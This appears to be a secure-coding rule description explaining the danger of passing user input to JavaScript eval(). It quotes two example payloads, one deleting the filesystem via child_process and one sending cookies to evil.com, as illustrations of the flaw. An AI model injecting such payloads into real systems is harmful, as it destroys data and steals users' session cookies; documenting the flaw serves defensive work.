Passing User Input Directly to eval() Function
JavaScript code uses eval() to execute user-provided strings as code without any sanitization or validation. Common patterns include eval(req.query.expression), eval(userInput), or eval(config.formula) where the input source is controllable by users through query parameters, POST body data, form inputs, or configuration files. Attackers can inject arbitrary JavaScript like "process.mainModule.require('child_process').execSync('rm -rf /')" in Node.js or "document.location='https://evil.com?cookie='+document.cookie" in browsers to achieve code execution or data exfiltration.